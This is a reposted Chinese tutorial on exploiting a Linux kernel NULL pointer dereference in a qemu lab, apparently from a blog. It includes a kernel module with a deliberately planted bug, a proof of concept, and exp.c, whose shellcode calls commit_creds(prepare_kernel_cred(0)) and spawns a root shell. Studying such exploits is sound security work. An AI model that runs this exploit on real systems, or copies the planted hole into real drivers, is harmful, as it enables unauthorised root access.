NULL Pointer Dereference(转)
0x00 漏洞代码
null_dereference.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h> void (*my_funptr)(void); int bug1_write(struct file *file, const char *buf, unsigned long len)
{
my_funptr();
return len;
} static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
return 0;
} static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
} module_init(null_dereference_init);
module_exit(null_dereference_exit);
可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。
Makefile:
obj-m := null_dereference.o
KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。
0x01 PoC
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h> char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7); // 调用bug1的write函数
return 0;
}
编译:
$ gcc -static poc.c -o poc
将poc也放到busybox的usr目录中。
再在busybox的_install目录中执行:
$ find . | cpio -o --format=newc > ../rootfs.img
qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:
(qemu) gdbserver tcp::1234
在本地linux-2.6.32.1目录中用gdb去连接:
$ gdb vmlinux
(gdb) target remote :1234
Remote debugging using :1234
default_idle() at arch/x86/kernel/process.c:311
311 current_thread_info()->status |= TS_POLLING;
(gdb) b *0x0
(gdb) c
Continuing.
在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。
这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:
可以看到如果继续执行就会执行我们的payload。
0x02 exploit
1.思路:给当前进程赋予root权限
commit_creds(prepare_kernel_cred(0));
在qemu中获取commit_creds和prepare_kernel_cred地址:
2.编写shellcode
xor %eax, %eax
call 0xc10680d0
call 0xc1067f30
ret
编译shellcode,并获取其机器码,得到shellcode:
shellcode = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"
现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。
exp.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h> char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"; int main()
{
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "fanrong", 7);
system("/bin/sh"); // get root shell
return 0;
}
将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.
成功拿到root shell. 。
NULL Pointer Dereference(转)的更多相关文章
- Unable to handle kernel NULL pointer dereference at virtual address 00000000问题的解决
今天在编译好内核模块后,安装内核模块memdev.ko的时候,出现了Unable to handle kernel NULL pointer dereference at virtual addres ...
- Unable to handle kernel NULL pointer dereference at virtual address 00000000【转】
本文转载自:https://blog.csdn.net/hpu11/article/details/72628052 这说明是非法指针的使用,才导致系统出错. [ 1023.510000] Unabl ...
- [轉]Exploit The Linux Kernel NULL Pointer Dereference
Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...
- Solution for NULL pointer dereference
•mmap_min_addr forbids users from mapping low addresses 1. First available in July 2007 2. Several c ...
- c/c++ 重载 数组 操作符[] operator[ is ambiguous, as 0 also mean a null pointer of const char* type.
// Note: //int x = a[0].GetInt(); // Error: operator[ is ambiguous, as 0 also mean a null pointer of ...
- Null Pointer --设计模式
在Joshua Bloch很有名的一本书<Effective in java>中建议不要在代码中返回空的collection/map/array,就像下面的代码一样: public Lis ...
- differences between null pointer and void pointer.
These are two different concepts, you cannot compare them. What the difference between the skunk and ...
- leetcode 编译问题:Line x: member access within null pointer of type 'struct TreeNode'
参考: LEETCODE 中的member access within null pointer of type 'struct ListNode' 解决 leetcode 编译问题:Line x: ...
- A pointer is a variable whose value is the address of another variable 指针 null pointer 空指针 内存地址0 空指针检验
小结: 1.指针的实际值为代表内存地址的16进制数: 2.不同指针的区别是他们指向的变量.常量的类型: https://www.tutorialspoint.com/cprogramming/c_po ...
随机推荐
- 新浪微博分享出现libc++abi.dylib: terminating with uncaught exception of type NSException微博微信SDK运行编译报错
SDK出现libc++abi.dylib: terminating with uncaught exception of type NSException 的问题: 解决方法 结合 # 监测bug( ...
- Codevs 1140 Jam的计数法
1140 Jam的计数法 题目描述 Description Jam是个喜欢标新立异的科学怪人.他不使用阿拉伯数字计数,而是使用小写英文字母计数,他觉得这样做,会使世界更加丰富多彩.在他的计数法中,每个 ...
- 洛谷P3723 [AH2017/HNOI2017]礼物(FFT)
传送门 首先,两个数同时增加自然数值相当于只有其中一个数增加(此增加量可以小于0) 我们令$x$为当前的增加量,${a},{b}$分别为旋转后的两个数列,那么$$ans=\sum_{i=1}^n(a_ ...
- 第四章 “我要点爆”微信小程序云开发之疯狂点击与糖果点爆页面制作
疯狂点击点爆方式页面制作 疯狂点击为用户提供一个60秒的按钮点击时间,同时点击过程中有背景音乐,系统根据用户点击按钮的此时来进行热度值的计算. <view class="the_hea ...
- jar工具的使用
- js+canvas(H5)实现小球移动小demo
*canvas提供画布,大小自定义,js得到画布,从画布对象通过getContext('2d')来得到画笔,然后就可以开始画了 代码: <!DOCTYPE html> <html l ...
- DB2 错误码解析
DB2 错误代码大全——SQLSTATE 消息 SQLSTATE 消息本节列示 SQLSTATE 及其含义.SQLSTATE 是按类代码进行分组的:对于子代码,请参阅相应的表. 表 2. SQLS ...
- [已读]JavaScript高级程序设计(第3版)
从去年开始看,因为太长,总是没有办法一口气把它看完,再加上它与第二版大部分一致,读起来兴致会更缺一点. 与第二版相比,它最大的改变就是增加了很多html5的内容,譬如:Object对象的一些新东西,数 ...
- Help with Intervals(集合的交并补,线段树)
很早以前做过这题,早就没印象了,估计当时也是照着某大神的代码抄过的,现在是连题意都看了好长时间. 刚开始的S集合是空集,给你一些操作和一个T集合,把操作的结果再赋给S集合. 解法:因为会有开区间和闭区 ...
- Django blog项目知识点总结
数据库操作部分 当我们在Django项目中的models.py下写好创建表的代码后.为了创建好这些数据库表,我们再一次请出我的工程管理助手 manage.py.激活虚拟环境,切换到 manage.py ...